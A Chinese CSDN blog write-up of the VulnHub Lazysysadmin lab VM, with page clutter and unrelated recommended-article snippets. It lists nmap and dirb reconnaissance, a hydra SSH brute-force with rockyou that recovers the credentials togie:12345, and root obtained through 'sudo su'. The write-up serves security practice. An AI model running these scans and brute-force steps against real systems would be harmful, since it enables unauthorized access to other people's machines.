Lazysysadmin打靶渗透【附代码】(权限提升)

Kucei

于 2024-08-05 07:08:06 发布

阅读量171

点赞数 7

分类专栏：打靶日常文章标签：数据库网络安全笔记学习经验分享 web安全

本文链接：https://blog.csdn.net/weixin_52487093/article/details/140916558

版权

打靶日常专栏收录该内容

15 篇文章 0 订阅

订阅专栏

靶机下载地址：https://download.vulnhub.com/lazysysadmin/Lazysysadmin.ziphttps://download.vulnhub.com/lazysysadmin/Lazysysadmin.zip

1. 主机发现+端口扫描+目录扫描+敏感信息获取

1.1. 主机发现

nmap -sn 192.168.43.0/24|grep -B 2 '08:00:27:94:96:64'

1.2. 端口扫描

nmap -p- 192.168.43.221

1.3. 目录扫描

dirb http://192.168.43.221

1.4. 敏感信息收集

2. WEB打点寻找漏洞点

2.1. 访问80端口

1.逐个拼接扫描到的目录，/robots.txt -> 逐个拼接/robots.txt的内容 ->【无用】

2.拼接/phpmyadmin/ -> 尝试万能密码绕过和弱密码爆破 -> 【无果】

3.拼接/wordpress，查看页面信息？？？用户名是togie吗？

2.2. 破解账号密码

1.已知用户可能为【togie】用hydra，爆破ssh密码 -> 账号密码【togie:12345】

cd /usr/share/wordlists
ls -al
gunzip rockyou.txt.gz #解压字典
hydra -l togie -P /usr/share/wordlists/rockyou.txt ssh://192.168.43.221

2.尝试连接ssh，

ssh togie@192.168.43.221

3. 权限提升

老规矩，查看用户权限 -> 显示all ->尝试直接提权 ->成功

sudo -l
sudo su

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

Kucei

关注关注

7
点赞
踩
4

收藏

觉得还不错? 一键收藏
打赏
0
评论
Lazysysadmin打靶渗透【附代码】(权限提升)

Lazysysadmin打靶渗透【附代码】(权限提升)
复制链接

扫一扫

专栏目录

U3D 打靶游戏 demo 要源代码可以联系我

09-25

【Unity3D（U3D）打靶游戏开发详解】 Unity3D，简称U3D，是一款强大的跨平台游戏开发引擎，广泛应用于游戏、虚拟现实（VR）、增强现实（AR）等多个领域。这款引擎以其易用性、高效性能以及丰富的资源库著称，使得...

VB6.0 打靶游戏源代码.rar

07-10

VB 打靶游戏源代码，点击开始游戏后，靶子就会出现在窗口中，不过靶子出现的时间可是很短的哦，在这个很短的时间内你需要打中目标（随机出现的红点），好像很考验人的反应速度哦，需要快速反应才能打中哦。...

参与评论您还未登录，请先登录后发表或查看评论

scratch编程项目源代码文件案例素材-[打靶游戏].zip

05-16

Scratch是一款由麻省理工学院(MIT)的...此外，通过实践和修改源代码，还可以学习到调试和优化程序的方法，进一步提升编程技能。这个案例不仅适合少儿趣味编程，也对想要了解游戏编程的初学者提供了很好的实践平台。

scratch编程项目源代码文件案例素材-鼠标打靶练习.zip

05-16

在这个案例中，“鼠标打靶练习.sb”就是项目的源代码文件，包含了所有的编程指令和逻辑。 2. **Scratch游戏案例**：Scratch因其直观的图形化界面和丰富的功能，常被用于创建各种游戏项目。"鼠标打靶练习"就是一个...

【打靶识别】基于计算机视觉实现自动报靶系统附matlab代码.zip

04-28

【打靶识别】基于计算机视觉实现自动报靶系统附matlab代码计算机视觉是一门多领域交叉学科，它结合了图像处理、机器学习和模式识别等技术，旨在使计算机能够理解并解释数字图像或视频中的内容。在军事训练、射击...

简单的 mongoDB 学习

qq_19342829的博客

07-31

525

mongodb入门学习整理

社区养老服务小程序的设计

Karen198的博客

07-31

569

管理员账户功能包括：系统首页，个人中心，用户管理，服务人员管理，服务产品管理，服务预约管理，服务状态管理，服务退订管理，活动管理，视频管理。主要技术：Java,Spring,mybatis,mysql,jquery,html。服务器：SpringBoot自带 apache tomcat。微信端账号功能包括：系统首页，服务产品，活动，视频，我的。JDK版本：Java JDK1.8。数据库可视化工具： navicat。数据库版本： mysql5.7。开发工具：IDEA(推荐)开发系统：Windows。

二进制部署k8s集群之master节点和etcd数据库集群（上）

zx52306的博客

07-30

1200

【代码】二进制部署k8s集群之master节点和etcd数据库集群（上）

MySQL备份与恢复

m0_74860678的博客

08-01

574

在生产环境中，数据的安全性至关重要任何数据的丢失都可能产生严重的后果造成数据丢失的原因程序错误人为操作错误运算错误磁盘故障灾难（如火灾、地震）和盗窃# 开启二进制日志功能[mysqld]# 重启服务# 有 mysql-bin.000001 就代表成功。

使用MySQLdump定时备份数据库实战

ithongchou的博客

08-03

手动执行脚本文件，并查看结果，检验脚本没有问题，因为脚本第一行已经指定脚本执行器，所以这里执行不需要使用。工具来设置定时任务。以下是一个简单的例子，展示如何每天凌晨。然后，你需要设置一个cron任务来定时执行这个脚本。确定系统定时任务已经开始，查看系统定时任务是否已经开启。上编辑的脚本格式在·Linux·平台不兼容问题。首先，你需要创建一个备份脚本。进行数据库的定时备份，你可以使用。保存这个脚本到一个文件，比如。

杂谈 | windows批处理脚本 | 配置项目环境变量

zwcslj的博客

07-31

1264

命令回显功能是指在运行命令或脚本时，系统将命令的执行过程和结果显示在屏幕上，使用户能够实时地看到命令的执行情况。通常，当命令回显功能打开时，在执行每一步命令时，系统将会显示执行的命令本身以及对应的结果，从而帮助用户了解命令的执行过程，排查可能出现的问题。关闭回显时，命令提示符不会出现在“命令提示符”窗口中。若要再次显示命令提示符，请键入 echo on。

MySQL备份与还原

link2417的博客

07-30

302

增量备份（incremental backup）是备份的一个类型，是指在一次完全备份或上一次增量备份后，以后每次的备份只需备份与前一次相比增加或者被修改的文件。为了验证效果，逐个添加新的数据，并生成一个日志文件，模拟误操作将auth.users表删掉，常规恢复操作。（5）从指定的位置向后开始恢复。（3）恢复指定时间范围内的数据。（6）恢复指定范围内的数据。（2）从指定的时间开始恢复。（1）物理冷备份与恢复。（4）恢复到指定的地方。（1）恢复到指定的时间。（1）先恢复完全备份。（2）再恢复增量备份。

互联网医院系统源码与医保购药APP开发的完整技术指南

meihusdk的博客

07-30

384

开发过程中需注重数据安全、系统性能、用户体验等多个方面，确保系统的高效稳定运行和良好用户体验。希望这篇技术指南能为开发者提供有益的参考，助力互联网医疗健康行业的发展。

实战：MySQL数据同步神器之Canal

为无为，事无事，味无味。

08-02

943

canal [kə'næl]，译意为水道/管道/沟渠，主要用途是基于 MySQL 数据库增量日志解析，提供增量数据订阅和消费。项目起源于阿里巴巴内部对于跨机房数据同步的需求，通过解析MySQL的二进制日志（Binary Log），Canal能够捕获并推送数据库的变更事件，满足了诸如数据库镜像、实时备份、索引实时维护等多种业务场景的需求。GitHub - alibaba/canal: 阿里巴巴 MySQL binlog 增量订阅&消费组件。

【iOS】——持久化

m0_73974920的博客

07-30

1078

因为plist文件不能够保存自定义对象。如果一个字典中保存有自定义对象，如果把这个对象写入到文件当中，它是不会生成 plist文件的。如果对象是NSString、NSDictionary、NSArray、NSData、NSNumber等类型，可以直接用NSKeyedArchiver进行归档和恢复。

Switchover和Failover切换方案(实战)

一个只求实际的程序猿

08-02

769

-检查主库下switchover_status字段,如果值为"session active"或者"to standby", 则主数据库角色可以切换为备库角色。=======================检查=================================--两个节点各执行2次。2.--备库切换为主库(切换可在1节点执行,启停需所有集群节点都执行)3.--主库切换为备库(切换1节点执行,启停需所有集群节点都执行)4.--获取主、备库上的信息以及保护模式(主备库执行)

【Redis 进阶】哨兵 Sentinel（重点理解流程和原理）

最新发布

Elena's Blog

08-04

847

基本概念Redis 的主从复制模式下，一旦主节点由于故障不能提供服务，需要人工进行主从切换，同时大量的客户端需要被通知切换到新的主节点上，对于上了一定规模的应用来说，这种方案是无法接受的，于是 Redis 从 2.8 开始提供了 Redis Sentinel（哨兵）加个来解决这个问题。

Mysql (Day 14)

m0_73629914的博客

07-30

736

insert into staff value (7,'10006','王维',9500.00);delete from 表名;--特点：自动递增列不会回撤，不会补齐（从该列最大值开使递增）case when 条件1 then 结果1。可以不指定列，但需要将全部列指定数据（列的顺序一定要和原来一致。如果有一列可以为空（null），插入数据时可以不插入元素。when 条件2 then 结果2。-- 约束：两个列的数量必须相同，类型可以不同。（2）select 表达式（列名……（1）select 列……

【redis 第一篇章】认识一下

Tsing

08-01

358

1、定义：泛指非关系性数据库。2、特点：方便扩展，数据之间没有关系；大数据量高性能；数据类型多样性。

unity打靶设计代码

05-30

以下是一个简单的Unity打靶游戏的设计代码示例，包括靶、武器、子弹、得分等要素： ```csharp using UnityEngine; using UnityEngine.UI; using System.Collections; public class ShootingGame : MonoBehaviour { public GameObject targetPrefab; // 靶的预制体 public Transform targetSpawnPoint; // 靶的生成点 public GameObject weapon; // 武器模型 public GameObject bulletPrefab; // 子弹预制体 public Transform bulletSpawnPoint; // 子弹发射点 public float bulletSpeed = 10f; // 子弹速度 public Text scoreText; // 显示分数的文本框 public int scorePerHit = 10; // 每次击中靶的得分 private int score = 0; // 当前得分 private bool gameStarted = false; // 游戏是否已经开始 void Start () { SpawnTarget (); // 生成第一个靶 } void Update () { if (Input.GetMouseButtonDown (0) && gameStarted) { // 鼠标左键按下，且游戏开始 Shoot (); // 射击 } } void SpawnTarget () { GameObject newTarget = Instantiate (targetPrefab, targetSpawnPoint.position, Quaternion.identity) as GameObject; // 生成新的靶 newTarget.GetComponent<Target> ().shootingGame = this; // 给靶设置ShootingGame脚本的引用 } void Shoot () { GameObject newBullet = Instantiate (bulletPrefab, bulletSpawnPoint.position, bulletSpawnPoint.rotation) as GameObject; // 生成新的子弹 Rigidbody rb = newBullet.GetComponent<Rigidbody> (); rb.velocity = weapon.transform.forward * bulletSpeed; // 给子弹添加速度 Destroy (newBullet, 3f); // 3秒后自动销毁子弹 } public void HitTarget () { score += scorePerHit; // 得分增加 scoreText.text = "Score: " + score.ToString (); // 更新分数文本框的显示 SpawnTarget (); // 生成新的靶 } public void StartGame () { gameStarted = true; // 标记游戏已经开始 } } ``` 其中，`Target`脚本是靶的控制脚本，用于检测是否被击中： ```csharp using UnityEngine; public class Target : MonoBehaviour { public ShootingGame shootingGame; // ShootingGame脚本的引用 void OnCollisionEnter (Collision col) { if (col.gameObject.tag == "Bullet") { // 如果被子弹击中 Destroy (gameObject); // 销毁靶 shootingGame.HitTarget (); // 通知ShootingGame脚本得分增加 } } } ``` 以上代码只是一个简单的示例，你可以根据自己的需求和技能对代码进行更复杂的设计和开发。